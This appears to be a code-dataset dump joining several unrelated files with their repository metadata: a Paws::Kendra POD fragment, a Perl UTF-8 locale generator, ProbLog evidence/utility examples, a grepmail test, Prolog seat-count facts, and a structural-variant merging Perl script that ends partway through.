are better. For example, in a task tracking application, a priority 1 task is more important than a priority 5 task. Only applies to C<LONG> and C<DOUBLE> fields. =head2 ValueImportanceMap => L<Paws::Kendra::ValueImportanceMap> A list of values that should be given a different boost when they appear in the result list. For example, if you are boosting a field called "department," query terms that match the department field are boosted in the result. However, you can add entries from the department field to boost documents with those values higher. For example, you can add entries to the map with names of departments. If you add "HR",5 and "Legal",3 those departments are given special attention when they appear in the metadata of a document. When those terms appear they are given the specified importance instead of the regular importance for the boost. =head1 SEE ALSO This class forms part of L<Paws>, describing an object used in L<Paws::Kendra> =head1 BUGS and CONTRIBUTIONS The source code is located here: L<https://github.com/pplu/aws-sdk-perl> Please report bugs to: L<https://github.com/pplu/aws-sdk-perl/issues> =cut
32.411765
102
0.749546
ed1d2edaf33a0a07605dc321da2f80ab4bc25fdd
4,846
pl
Perl
usr/src/data/locale/tools/utf8-rollup.pl
AsahiOS/gate
283d47da4e17a5871d9d575e7ffb81e8f6c52e51
[ "MIT" ]
null
null
null
usr/src/data/locale/tools/utf8-rollup.pl
AsahiOS/gate
283d47da4e17a5871d9d575e7ffb81e8f6c52e51
[ "MIT" ]
null
null
null
usr/src/data/locale/tools/utf8-rollup.pl
AsahiOS/gate
283d47da4e17a5871d9d575e7ffb81e8f6c52e51
[ "MIT" ]
1
2020-12-30T00:04:16.000Z
2020-12-30T00:04:16.000Z
#!/usr/bin/perl -wC # # Copyright 2009 Edwin Groothuis <edwin@FreeBSD.org> # Copyright 2015 John Marino <draco@marino.st> # # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions # are met: # 1. Redistributions of source code must retain the above copyright # notice, this list of conditions and the following disclaimer. # 2. Redistributions in binary form must reproduce the above copyright # notice, this list of conditions and the following disclaimer in the # documentation and/or other materials provided with the distribution. # # THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND # ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE # IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE # ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE # FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL # DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS # OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) # HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT # LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY # OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF # SUCH DAMAGE. # use strict; use Getopt::Long; if ($#ARGV != 0) { print "Usage: $0 --unidata=</path/to/UnicodeData.txt>\n"; exit(1); } my $UNIDATA = undef; my $result = GetOptions ( "unidata=s" => \$UNIDATA ); my %utf8map = (); my $outfilename = "data/common.UTF-8.src"; get_utf8map("data/UTF-8.cm"); generate_header (); parse_unidata ("$UNIDATA"); generate_footer (); ############################ sub get_utf8map { my $file = shift; open(FIN, $file); my @lines = <FIN>; close(FIN); chomp(@lines); my $incharmap = 0; foreach my $l (@lines) { $l =~ s/\r//; next if ($l =~ /^\#/); next if ($l eq ""); if ($l eq "CHARMAP") { $incharmap = 1; next; } next if (!$incharmap); last if ($l eq "END CHARMAP"); $l =~ /^(<[^\s]+>)\s+(.*)/; my $k = $2; my $v = $1; $k =~ s/\\x//g; # UTF-8 char code $utf8map{$k} = $v; } } sub generate_header { open(FOUT, ">", "$outfilename") or die ("can't write to $outfilename\n"); print FOUT "LC_CTYPE\n\n"; } sub generate_footer { print FOUT "\nEND LC_CTYPE\n"; close (FOUT); } sub wctomb { my $wc = hex(shift); my $lead; my $len; my $ret = ""; my $i; if (($wc & ~0x7f) == 0) { return sprintf "%02X", $wc; } elsif (($wc & ~0x7ff) == 0) { $lead = 0xc0; $len = 2; } elsif (($wc & ~0xffff) == 0) { $lead = 0xe0; $len = 3; } elsif ($wc >= 0 && $wc <= 0x10ffff) { $lead = 0xf0; $len = 4; } for ($i = $len - 1; $i > 0; $i--) { $ret = (sprintf "%02X", ($wc & 0x3f) | 0x80) . $ret; $wc >>= 6; } $ret = (sprintf "%02X", ($wc & 0xff) | $lead) . $ret; return $ret; } sub parse_unidata { my $file = shift; my %data = (); open(FIN, $file); my @lines = <FIN>; close(FIN); chomp(@lines); foreach my $l (@lines) { my @d = split(/;/, $l, -1); my $mb = wctomb($d[0]); my $cat; # XXX There are code points present in UnicodeData.txt # and missing from UTF-8.cm next if !defined $utf8map{$mb}; # Define the category if ($d[2] =~ /^Lu/) { $cat = "upper"; } elsif ($d[2] =~ /^Ll/) { $cat = "lower"; } elsif ($d[2] =~ /^Nd/) { $cat = "digit"; } elsif ($d[2] =~ /^L/) { $cat = "alpha"; } elsif ($d[2] =~ /^P/) { $cat = "punct"; } elsif ($d[2] =~ /^Co/ || $d[2] =~ /^M/ || $d[2] =~ /^N/ || $d[2] =~ /^S/) { $cat = "graph"; } elsif ($d[2] =~ /^C/) { $cat = "cntrl"; } elsif ($d[2] =~ /^Z/) { $cat = "space"; } $data{$cat}{$mb}{'wc'} = $d[0]; # Check if it's a start or end of range if ($d[1] =~ /First>$/) { $data{$cat}{$mb}{'start'} = 1; } elsif ($d[1] =~ /Last>$/) { $data{$cat}{$mb}{'end'} = 1; } # Check if there's upper/lower mapping if ($d[12] ne "") { $data{'toupper'}{$mb} = wctomb($d[12]); } elsif ($d[13] ne "") { $data{'tolower'}{$mb} = wctomb($d[13]); } } my $first; my $inrange = 0; # Now write out the categories foreach my $cat (sort keys (%data)) { print FOUT "$cat\t"; $first = 1; foreach my $mb (sort keys (%{$data{$cat}})) { if ($first == 1) { $first = 0; } elsif ($inrange == 1) { # Safety belt die "broken range end wc=$data{$cat}{$mb}{'wc'}" if !defined $data{$cat}{$mb}{'end'}; print FOUT ";...;"; $inrange = 0; } else { print FOUT ";/\n\t"; } if ($cat eq "tolower" || $cat eq "toupper") { print FOUT "($utf8map{$mb},$utf8map{$data{$cat}{$mb}})"; } else { if (defined($data{$cat}{$mb}{'start'})) { $inrange = 1; } print FOUT "$utf8map{$mb}"; } } print FOUT "\n"; } }
23.186603
76
0.570161
ed621081a9393ce82134790c14c4a32c7f404d4d
8,274
pl
Perl
data/processed/0.9_0.5_150/survey_80_1592975436_True_examples.pl
VincentDerk/Paper-AC-Decisions-Learning
abd1dc8893fbb11b43ebb49a25e26c0183bdba62
[ "Apache-2.0" ]
null
null
null
data/processed/0.9_0.5_150/survey_80_1592975436_True_examples.pl
VincentDerk/Paper-AC-Decisions-Learning
abd1dc8893fbb11b43ebb49a25e26c0183bdba62
[ "Apache-2.0" ]
null
null
null
data/processed/0.9_0.5_150/survey_80_1592975436_True_examples.pl
VincentDerk/Paper-AC-Decisions-Learning
abd1dc8893fbb11b43ebb49a25e26c0183bdba62
[ "Apache-2.0" ]
null
null
null
utility(196). ----- utility(-42). ----- utility(23). ----- evidence(e("uni"),false). evidence(a("old"),false). utility(59). ----- evidence(t("car"),false). utility(221). ----- utility(0). ----- utility(190). ----- utility(12). ----- evidence(a("young"),false). evidence(e("high"),true). utility(54). ----- utility(8). ----- evidence(a("young"),false). utility(221). ----- evidence(a("adult"),true). utility(179). ----- evidence(e("high"),true). utility(65). ----- evidence(o("self"),false). evidence(e("high"),true). utility(-68). ----- utility(99). ----- evidence(s("M"),true). evidence(e("high"),true). utility(59). ----- evidence(e("uni"),false). evidence(s("M"),true). utility(23). ----- evidence(o("self"),false). evidence(e("high"),true). utility(221). ----- evidence(t("car"),false). evidence(a("old"),true). evidence(t("other"),true). utility(211). ----- evidence(e("uni"),false). evidence(a("adult"),true). utility(38). ----- evidence(r("small"),false). utility(23). ----- evidence(s("F"),false). utility(-42). ----- evidence(e("uni"),false). utility(53). ----- utility(54). ----- evidence(a("adult"),false). evidence(s("M"),false). utility(99). ----- utility(232). ----- utility(190). ----- evidence(t("car"),true). evidence(r("small"),false). evidence(e("uni"),false). evidence(a("old"),false). utility(38). ----- evidence(o("self"),false). evidence(a("young"),true). utility(-68). ----- evidence(t("car"),false). utility(221). ----- utility(-33). ----- utility(-3). ----- evidence(s("M"),true). utility(12). ----- utility(23). ----- evidence(o("emp"),true). evidence(t("train"),false). evidence(a("young"),true). utility(-119). ----- evidence(o("self"),false). evidence(t("other"),false). utility(80). ----- utility(80). ----- evidence(r("big"),true). utility(80). ----- evidence(t("car"),false). evidence(e("high"),true). utility(80). ----- utility(80). ----- evidence(s("F"),false). evidence(e("high"),true). evidence(t("other"),false). utility(38). ----- evidence(r("small"),false). evidence(e("uni"),false). evidence(e("high"),true). utility(-21). ----- utility(-39). ----- evidence(t("car"),true). evidence(r("small"),false). evidence(e("uni"),false). evidence(s("M"),true). utility(-42). ----- evidence(a("adult"),false). utility(164). ----- evidence(t("train"),false). evidence(a("young"),false). evidence(r("big"),true). utility(-13). ----- evidence(o("self"),false). utility(-13). ----- evidence(s("M"),true). utility(-42). ----- evidence(e("uni"),true). evidence(a("young"),false). utility(175). ----- evidence(a("old"),true). utility(185). ----- evidence(o("emp"),true). utility(-26). ----- evidence(t("car"),true). evidence(s("F"),true). evidence(o("emp"),true). utility(154). ----- evidence(t("car"),false). evidence(t("other"),false). utility(80). ----- evidence(a("old"),false). utility(205). ----- utility(-39). ----- evidence(a("old"),false). utility(-39). ----- evidence(a("young"),false). evidence(e("high"),true). utility(12). ----- evidence(a("adult"),false). utility(-42). ----- utility(211). ----- evidence(t("car"),true). utility(-13). ----- evidence(r("small"),false). evidence(o("emp"),true). evidence(s("M"),false). evidence(a("old"),true). utility(190). ----- evidence(r("big"),false). utility(141). ----- evidence(s("F"),true). utility(125). ----- evidence(t("car"),true). utility(38). ----- evidence(t("car"),true). evidence(o("emp"),true). utility(-13). ----- evidence(t("train"),false). evidence(a("young"),false). evidence(a("old"),true). utility(18). ----- evidence(e("uni"),false). utility(12). ----- evidence(r("big"),true). utility(2). ----- evidence(e("uni"),false). evidence(t("other"),false). utility(23). ----- evidence(t("car"),true). evidence(a("young"),false). evidence(r("big"),true). utility(38). ----- evidence(o("self"),false). utility(167). ----- evidence(e("uni"),false). evidence(t("train"),false). utility(59). ----- evidence(s("F"),true). utility(194). ----- evidence(a("young"),false). utility(175). ----- evidence(a("young"),false). utility(12). ----- evidence(a("adult"),false). evidence(t("train"),false). utility(23). ----- evidence(o("self"),false). utility(205). ----- evidence(t("car"),true). evidence(t("train"),false). utility(-42). ----- evidence(s("F"),false). utility(27). ----- evidence(t("car"),false). evidence(o("self"),false). evidence(t("other"),true). utility(120). ----- evidence(a("young"),false). utility(8). ----- utility(-42). ----- utility(205). ----- evidence(s("M"),false). evidence(a("young"),false). utility(226). ----- evidence(r("small"),false). evidence(e("uni"),true). utility(29). ----- utility(128). ----- evidence(a("old"),false). evidence(r("big"),true). utility(74). ----- utility(2). ----- evidence(t("car"),true). evidence(r("small"),false). evidence(t("other"),false). utility(154). ----- utility(38). ----- utility(221). ----- evidence(s("F"),false). utility(0). ----- evidence(t("train"),true). utility(196). ----- evidence(a("young"),false). utility(247). ----- evidence(a("young"),true). utility(-42). ----- evidence(r("big"),true). utility(23). ----- evidence(a("young"),false). utility(-13). ----- evidence(s("M"),true). utility(-93). ----- evidence(s("F"),false). evidence(o("emp"),true). evidence(s("M"),true). evidence(a("young"),false). utility(80). ----- evidence(o("self"),false). evidence(s("F"),true). evidence(o("emp"),true). utility(205). ----- evidence(o("self"),false). evidence(a("adult"),false). evidence(s("M"),true). utility(-93). ----- evidence(r("small"),false). evidence(s("M"),false). evidence(a("young"),false). utility(247). ----- evidence(s("F"),false). evidence(a("adult"),true). utility(-13). ----- evidence(e("high"),false). utility(90). ----- evidence(t("car"),false). evidence(s("F"),false). utility(0). ----- evidence(o("self"),false). evidence(a("young"),true). utility(90). ----- utility(-39). ----- evidence(e("high"),true). utility(38). ----- utility(125). ----- evidence(a("adult"),true). utility(205). ----- evidence(t("train"),false). utility(-13). ----- utility(12). ----- evidence(s("M"),false). utility(146). ----- evidence(o("self"),false). evidence(o("emp"),true). evidence(t("other"),false). utility(205). ----- evidence(t("train"),false). utility(125). ----- utility(247). ----- evidence(t("car"),false). evidence(s("M"),true). evidence(a("young"),false). evidence(a("old"),false). utility(59). ----- evidence(o("emp"),true). evidence(t("other"),false). utility(190). ----- utility(38). ----- evidence(s("M"),true). utility(44). ----- evidence(t("car"),true). utility(-13). ----- evidence(t("car"),true). evidence(t("train"),false). utility(205). ----- evidence(a("adult"),true). utility(200). ----- evidence(e("uni"),false). utility(232). ----- evidence(t("other"),false). utility(179). ----- evidence(a("adult"),false). evidence(t("train"),true). utility(39). ----- evidence(r("small"),false). utility(190). ----- evidence(o("emp"),true). utility(-26). ----- evidence(o("emp"),true). evidence(s("M"),true). utility(0). ----- evidence(r("small"),false). evidence(e("uni"),true). evidence(a("old"),true). utility(-28). ----- evidence(e("high"),false). utility(154). ----- evidence(o("emp"),true). evidence(a("old"),true). utility(23). ----- evidence(e("high"),true). utility(38). ----- utility(38). ----- evidence(t("car"),true). evidence(r("big"),true). utility(190). ----- evidence(s("F"),true). evidence(e("high"),true). utility(179). ----- evidence(a("old"),true). utility(38). ----- evidence(r("small"),false). evidence(r("big"),true). utility(44). ----- evidence(a("young"),false). utility(65). ----- utility(196). ----- evidence(t("car"),false). evidence(r("big"),true). utility(59). ----- evidence(t("car"),true). evidence(t("other"),false). utility(74). ----- evidence(r("big"),true). utility(205). ----- evidence(s("M"),false). utility(125). ----- evidence(a("young"),false). evidence(a("old"),false). utility(12). ----- evidence(a("young"),false). utility(154). ----- evidence(a("young"),false). utility(38). ----- evidence(r("small"),true). evidence(a("adult"),true). evidence(s("M"),true). evidence(a("young"),false). evidence(r("big"),false). utility(3). ----- evidence(r("small"),true). evidence(a("young"),true). evidence(e("high"),true). utility(141). ----- evidence(s("F"),false). utility(23). -----
16.351779
27
0.591975
ed623598638b22dfa1c3980fe36ceb2315860c2f
3,506
t
Perl
t/nonexistent_mailbox.t
coppit/grepmail
3fc994add99635325f6db061faf626b190a118d4
[ "FSFAP" ]
17
2015-05-18T20:53:16.000Z
2021-09-29T23:31:22.000Z
t/nonexistent_mailbox.t
coppit/grepmail
3fc994add99635325f6db061faf626b190a118d4
[ "FSFAP" ]
4
2015-03-25T09:48:14.000Z
2015-04-12T14:44:03.000Z
t/nonexistent_mailbox.t
coppit/grepmail
3fc994add99635325f6db061faf626b190a118d4
[ "FSFAP" ]
2
2018-01-01T12:43:47.000Z
2018-06-03T14:20:08.000Z
#!/usr/bin/perl use strict; use Test::More; use lib 't'; use Test::Utils; use File::Spec::Functions qw( :ALL ); use File::Copy; use File::Slurper qw(read_binary write_binary); my %tests = ( 'grepmail pattern no_such_file' => ['none','no_such_file'], "grepmail -E $single_quote\$email =~ /pattern/$single_quote no_such_file" => ['none','no_such_file'], ); my %expected_errors = ( ); my %localization = ( "grepmail -E $single_quote\$email =~ /pattern/$single_quote no_such_file" => { 'stderr' => { 'search' => '[No such file or directory]', 'replace' => No_such_file_or_directory() }, }, 'grepmail pattern no_such_file' => { 'stderr' => { 'search' => '[No such file or directory]', 'replace' => No_such_file_or_directory() }, }, ); plan tests => scalar (keys %tests) * 2; my %skip = SetSkip(\%tests); foreach my $test (sort keys %tests) { print "Running test:\n $test\n"; SKIP: { skip("$skip{$test}",2) if exists $skip{$test}; TestIt($test, $tests{$test}, $expected_errors{$test}, $localization{$test}); } } # --------------------------------------------------------------------------- sub TestIt { my $test = shift; my ($stdout_file,$stderr_file) = @{ shift @_ }; my $error_expected = shift; my $localization = shift; my $testname = [splitdir($0)]->[-1]; $testname =~ s#\.t##; my $perl = perl_with_inc(); $test =~ s#\bgrepmail\s#$perl blib/script/grepmail -C $TEMPDIR/cache #g; my $test_stdout = catfile($TEMPDIR,"${testname}_$stdout_file.stdout"); my $test_stderr = catfile($TEMPDIR,"${testname}_$stderr_file.stderr"); print "$test 1>$test_stdout 2>$test_stderr\n"; system "$test 1>$test_stdout 2>$test_stderr"; if (!$? && defined $error_expected) { ok(0,"Did not encounter an error executing the test when one was expected.\n\n"); return; } if ($? && !defined $error_expected) { ok(0, "Encountered an error executing the test when one was not expected.\n" . "See $test_stdout and $test_stderr.\n\n"); return; } my $modified_stdout = "$TEMPDIR/$stdout_file"; my $modified_stderr = "$TEMPDIR/$stderr_file"; my $real_stdout = catfile('t','results',$stdout_file); my $real_stderr = catfile('t','results',$stderr_file); if (defined $localization->{'stdout'}) { LocalizeTestOutput($localization->{'stdout'}, $real_stdout, $modified_stdout); } else { copy($real_stdout, $modified_stdout); } if (defined $localization->{'stderr'}) { LocalizeTestOutput($localization->{'stderr'}, $real_stderr, $modified_stderr) } else { copy($real_stderr, $modified_stderr); } # Compare STDERR first on the assumption that if STDOUT is different, STDERR # is too and contains something useful. Do_Diff($test_stderr,$modified_stderr); Do_Diff($test_stdout,$modified_stdout); unlink $modified_stdout; unlink $modified_stderr; } # --------------------------------------------------------------------------- sub SetSkip { my %tests = %{ shift @_ }; my %skip; return %skip; } # --------------------------------------------------------------------------- sub LocalizeTestOutput { my $search_replace = shift; my $original_file = shift; my $new_file = shift; my $original = read_binary($original_file); my $new = $original; $new =~ s/\Q$search_replace->{'search'}\E/$search_replace->{'replace'}/gx; write_binary($new_file, $new); } # ---------------------------------------------------------------------------
24.013699
85
0.590987
ed628292281d12d7a0bda5cbf4307da86168b6d4
279
pl
Perl
assets/zetelverdeling.pl
Menziess/Prolog
8374c820cac30d49ff74e184483b613f748c02c3
[ "MIT" ]
null
null
null
assets/zetelverdeling.pl
Menziess/Prolog
8374c820cac30d49ff74e184483b613f748c02c3
[ "MIT" ]
null
null
null
assets/zetelverdeling.pl
Menziess/Prolog
8374c820cac30d49ff74e184483b613f748c02c3
[ "MIT" ]
null
null
null
zetels(vvd, 13, 33). zetels(pvv, 9, 20). zetels(cda, 12, 19). zetels(d66, 10, 19). zetels(gl, 4, 14). zetels(sp, 9, 14). zetels(pvda, 8, 9). zetels(cu, 3, 5). zetels(pvdd, 2, 5). zetels('50+', 2, 4). zetels(sgp, 2, 3). zetels(osf, 1, 0). zetels(denk, 0, 3). zetels(fvd, 0, 2).
16.411765
20
0.580645
ed24f3add013722feb55bcf6badaf466f22386d5
28,223
pl
Perl
SV_standard.pl
senzhaocode/SV_standard
52476fd9dbe5a8e33fe7e9c332dac06c0e405126
[ "MIT" ]
null
null
null
SV_standard.pl
senzhaocode/SV_standard
52476fd9dbe5a8e33fe7e9c332dac06c0e405126
[ "MIT" ]
null
null
null
SV_standard.pl
senzhaocode/SV_standard
52476fd9dbe5a8e33fe7e9c332dac06c0e405126
[ "MIT" ]
null
null
null
#!/usr/bin/perl -w use strict; use warnings; use POSIX; use Getopt::Std; use Getopt::Long; use File::Basename; use File::Spec; use List::Util qw< min max sum >; use Anno; use RNAcaller; use DNAcaller; #----------------------------------------- # Set options in the script command line #----------------------------------------- my @usage; push @usage, "Usage: ".basename($0)." [options]\n"; push @usage, " --help\n"; push @usage, " --type {DNA, RNA} Set input SV calls from DNA-seq or RNA-seq\n"; push @usage, " --genome {hg19, hg38} Set genome version used for SV calls\n"; push @usage, " --filter {PASS, ALL} Set an option for filtering raw SV calls before merging (default: PASS), only available for DNA SVs\n"; push @usage, " --support {min, max, median} Set a method to obtain split and spanning read support if SVs from multiple callers are available (default: median)\n"; push @usage, " --offset Set an offset value for extending a gene interval, e.g. [start-offset, end+offset], default:1000\n"; push @usage, " --anno Set annotation file directory\n"; push @usage, " --input Set input directory\n"; push @usage, " --output Set output directory\n"; my $help; my $type; my $genome; my $filter; my $support; my $offset; my $anno; my $input; my $output; GetOptions ( 'help' => \$help, 'type=s' => \$type, 'genome=s' => \$genome, 'filter=s' => \$filter, 'support=s' => \$support, 'offset=i' => \$offset, 'anno=s' => \$anno, 'input=s' => \$input, 'output=s' => \$output ); not defined $help or die @usage; defined $input or die @usage; defined $output or die @usage; defined $type or die strftime("%Y-%m-%d %H:%M:%S", localtime), " [option control] --type is a required option.\n"; defined $genome or die strftime("%Y-%m-%d %H:%M:%S", localtime), " [option control] --genome is a required opton.\n"; defined $anno or die " [option control] --anno is a required opton.\n"; if (! defined($support) ) { $support = 'median'; } if (! defined($offset) ) { $offset = 1000; } if (! -e "$anno/gene_interval_hg19.bed.gz") { die strftime("%Y-%m-%d %H:%M:%S", localtime), " [option control] Gene interval annotation for hg19 not exists, quit!\n"; } if (! -e "$anno/gene_interval_hg38.bed.gz") { die strftime("%Y-%m-%d %H:%M:%S", localtime), " [option control] Gene interval annotation for hg38 not exists, quit!\n"; } if (! -e "$anno/exon_interval_hg19.bed.gz") { die strftime("%Y-%m-%d %H:%M:%S", localtime), " [option control] Exon interval annotation for hg19 not exists, quit!\n"; } if (! -e "$anno/exon_interval_hg38.bed.gz") { die strftime("%Y-%m-%d %H:%M:%S", localtime), " [option control] Exon interval annotation for hg38 not exists, quit!\n"; } if (! -e "$anno/ensembl_symbol_1_1.txt") { die strftime("%Y-%m-%d %H:%M:%S", localtime), " [option control] Ensembl_id and Gene_symbol info not exists, quit!\n"; } if (! defined($filter) ) { $filter = "PASS"; } else { if ( $filter eq 'PASS' || $filter eq 'ALL' ) {} else { die strftime("%Y-%m-%d %H:%M:%S", localtime), " [option control] --filter MUST be 'PASS' or 'ALL'.\n"; } } # check output folder status if ( -e $output ) { # if output folder present, please clean up firstly. `rm -rf $output/*`; } else { `mkdir $output`; } #------------------------------------------------------ # load annotation files (either $type 'DNA' or 'RNA') #------------------------------------------------------ my %gene_interval_dna; # - gene interval for DNA SVs my %gene_interval_rna; # - gene interval for RNA SVs my %exon_interval_rna; # - exon interval per gene for RNA SVs my %ens_symbol_rna; # - ensembl id => gene symbol if ( $type eq 'DNA' ) { if ( $genome eq 'hg19' ) { Anno::process_gene_dna($anno, $genome, \%gene_interval_dna, $offset); } elsif ( $genome eq 'hg38' ) { Anno::process_gene_dna($anno, $genome, \%gene_interval_dna, $offset); } else { die strftime("%Y-%m-%d %H:%M:%S", localtime), " [load annotation] Genome version not correct for DNA SVs!\n"; } } elsif ( $type eq 'RNA' ) { if ( $genome eq 'hg19' ) { Anno::process_gene_rna($anno, $genome, \%gene_interval_rna, \%exon_interval_rna, \%ens_symbol_rna, $offset); } elsif ( $genome eq 'hg38' ) { Anno::process_gene_rna($anno, $genome, \%gene_interval_rna, \%exon_interval_rna, \%ens_symbol_rna, $offset); } else { die strftime("%Y-%m-%d %H:%M:%S", localtime), " [load annotation] Genome version not correct for RNA SVs!\n"; } } else { die strftime("%Y-%m-%d %H:%M:%S", localtime), " [load annotation] Sequencing type not correct!\n"; } if ( $type eq 'RNA' ) { #------------------------------------------------------------------------------- # Load and merge RNA SVs from csv file (can be one caller or multiple callers #------------------------------------------------------------------------------- # // [merge RNA SVs] - step.1: check input file format status, then load them my %input_hash_rna; my %count_hash_rna; # if both geneA-geneB and geneB-geneA are present, count their frequency, respectively. open(DIR, "ls $input |") || die strftime("%Y-%m-%d %H:%M:%S", localtime), " [merge RNA SVs] - step.1: cannot open directory for RNA SVs input:$!\n"; while ( <DIR> ) { chomp $_; my $sample = $_; if ( -d "$input/$sample" ) { print "#####################\n#$sample\n####################\n"; open(FL, "ls $input/$sample/* |") || die strftime("%Y-%m-%d %H:%M:%S", localtime), " [merge RNA SVs] - step.1: cannot open input file:$!\n"; # txt or tsv while ( <FL>) { chomp $_; my $file = $_; if ( $file =~/Arriba\.(tsv|txt)$/ ) { my $text = `cat $file | cut -s -f3,4,5,6,10,11,12,21,22`; # select relevant columns of Arriba output my %sss; $input_hash_rna{$sample}{'Arriba'} = \%sss; # define a reference to a hash structure RNAcaller::Arriba_support($sample, $input_hash_rna{$sample}{'Arriba'}, $text, $offset, \%gene_interval_rna, \%exon_interval_rna); } elsif ( $file =~/STAR\-fusion\.(tsv|txt)$/ ) { my $text = `cat $file | cut -s -f2,3,7,8,9,10`; # select relevant columns of STAR-fusion output my %sss; $input_hash_rna{$sample}{'STAR-fusion'} = \%sss; # define a reference to a hash structure RNAcaller::STAR_fusion_support($sample, $input_hash_rna{$sample}{'STAR-fusion'}, $text, $offset, \%gene_interval_rna, \%exon_interval_rna); } elsif ( $file =~/Fusioncatcher\.(tsv|txt)$/ ) { my $text = `cat $file | cut -s -f5,6,9,10,11,12`; # select relevant columns of Fusioncatcher output my %sss; $input_hash_rna{$sample}{'Fusioncatcher'} = \%sss; # define a reference to a hash structure RNAcaller::Fusioncatcher_support($sample, $input_hash_rna{$sample}{'Fusioncatcher'}, $text, $offset, \%gene_interval_rna, \%exon_interval_rna); } elsif ( $file =~/deFuse\.(tsv|txt)$/ ) { my $text = `cat $file | cut -s -f3,4,5,6,12,21,22,25,26,38,39,40,41,51,57,65`; # select relevant columns of deFuse output my %sss; $input_hash_rna{$sample}{'deFuse'} = \%sss; # define a reference to a hash structure RNAcaller::deFuse_support($sample, $input_hash_rna{$sample}{'deFuse'}, $text, $offset, \%gene_interval_rna, \%exon_interval_rna); } elsif ( $file =~/Dragen\.(tsv|txt)$/ ) { my $text = `cat $file | cut -s -f3,4,9,10,11,13`; # select relevant columns of deFuse output my %sss; $input_hash_rna{$sample}{'Dragen'} = \%sss; # define a reference to a hash structure RNAcaller::Dragen_support($sample, $input_hash_rna{$sample}{'Dragen'}, $text, $offset, \%gene_interval_rna, \%exon_interval_rna); } else { print strftime("%Y-%m-%d %H:%M:%S", localtime), " [merge RNA SVs] - step.1: Unknown $file, the caller is not in acceptable list!\n"; } } close FL; # merge RNA SVs from multiple callers per sample my @caller_num = sort {$a cmp $b} keys %{$input_hash_rna{$sample}}; my %sss; $input_hash_rna{$sample}{'merge'} = \%sss; for (my $i=0; $i < scalar(@caller_num); $i++ ) { foreach my $break1 ( sort {$a <=> $b} keys %{$input_hash_rna{$sample}{$caller_num[$i]}} ) { foreach my $break2 ( sort {$a <=> $b} keys %{$input_hash_rna{$sample}{$caller_num[$i]}{$break1}} ) { my $chrA = $input_hash_rna{$sample}{$caller_num[$i]}{$break1}{$break2}[0]; my $chrB = $input_hash_rna{$sample}{$caller_num[$i]}{$break1}{$break2}[1]; my $strandA = $input_hash_rna{$sample}{$caller_num[$i]}{$break1}{$break2}[2]; my $strandB = $input_hash_rna{$sample}{$caller_num[$i]}{$break1}{$break2}[3]; my $geneA = $input_hash_rna{$sample}{$caller_num[$i]}{$break1}{$break2}[4]; my $geneB = $input_hash_rna{$sample}{$caller_num[$i]}{$break1}{$break2}[5]; my $split = $input_hash_rna{$sample}{$caller_num[$i]}{$break1}{$break2}[6]; my $span = $input_hash_rna{$sample}{$caller_num[$i]}{$break1}{$break2}[7]; if ( exists($input_hash_rna{$sample}{'merge'}{$geneA}{$geneB}) ) { $count_hash_rna{$geneA}{$geneB}++; push @{$input_hash_rna{$sample}{'merge'}{$geneA}{$geneB}{$break1}{$break2}}, [$chrA, $chrB, $strandA, $strandB, $split, $span]; } elsif ( exists($input_hash_rna{$sample}{'merge'}{$geneB}{$geneA}) ) { $count_hash_rna{$geneB}{$geneA}++; push @{$input_hash_rna{$sample}{'merge'}{$geneB}{$geneA}{$break2}{$break1}}, [$chrB, $chrA, $strandB, $strandA, $split, $span]; } else { $count_hash_rna{$geneA}{$geneB}++; push @{$input_hash_rna{$sample}{'merge'}{$geneA}{$geneB}{$break1}{$break2}}, [$chrA, $chrB, $strandA, $strandB, $split, $span]; } } } } } else { print strftime("%Y-%m-%d %H:%M:%S", localtime), " [merge RNA SVs] - step.1: $sample is not a available folder\n"; } } close DIR; # // [merge RNA SVs] - step.2: final print merging results open (OUT, ">$output/Final_RNA_SVs.txt") || die "final print merging results of RNA SVs:$!\n"; print OUT "chrom1\tpos1\tgene1\tchrom2\tpos2\tgene2\tname\tsplit\tspan\tstrand1\tstrand2\n"; foreach my $sample ( keys %input_hash_rna ) { foreach my $geneA ( keys %{$input_hash_rna{$sample}{'merge'}} ) { foreach my $geneB ( keys %{$input_hash_rna{$sample}{'merge'}{$geneA}} ) { foreach my $breakpoint1 ( keys %{$input_hash_rna{$sample}{'merge'}{$geneA}{$geneB}} ) { foreach my $breakpoint2 ( keys %{$input_hash_rna{$sample}{'merge'}{$geneA}{$geneB}{$breakpoint1}} ) { my $chrA = $input_hash_rna{$sample}{'merge'}{$geneA}{$geneB}{$breakpoint1}{$breakpoint2}[0][0]; my $chrB = $input_hash_rna{$sample}{'merge'}{$geneA}{$geneB}{$breakpoint1}{$breakpoint2}[0][1]; my $strandA = $input_hash_rna{$sample}{'merge'}{$geneA}{$geneB}{$breakpoint1}{$breakpoint2}[0][2]; my $strandB = $input_hash_rna{$sample}{'merge'}{$geneA}{$geneB}{$breakpoint1}{$breakpoint2}[0][3]; my @reads = @{$input_hash_rna{$sample}{'merge'}{$geneA}{$geneB}{$breakpoint1}{$breakpoint2}}; my @split; my @span; my $split_value; my $span_value; for ( my $i=0; $i < scalar(@reads); $i++ ) { push @split, $reads[$i]->[4]; push @span, $reads[$i]->[5]; } @split = sort @split; @span = sort @span; if ( $support eq 'min' ) { $split_value = $split[0]; $span_value = $span[0]; } elsif ( $support eq 'max' ) { $split_value = $split[-1]; $span_value = $span[-1]; } elsif ( $support eq 'median' ) { my $index = int(scalar(@split)/2); if ( @split % 2 ) { $split_value = $split[$index]; $span_value = $span[$index]; } else { $split_value = int(($split[$index-1] + $split[$index])/2); $span_value = int(($span[$index-1] + $span[$index])/2); } } else { die "--support option should be one of [min, max, median]\n"; } my $symbolA; if ( exists($ens_symbol_rna{$geneA}) ) { if ( 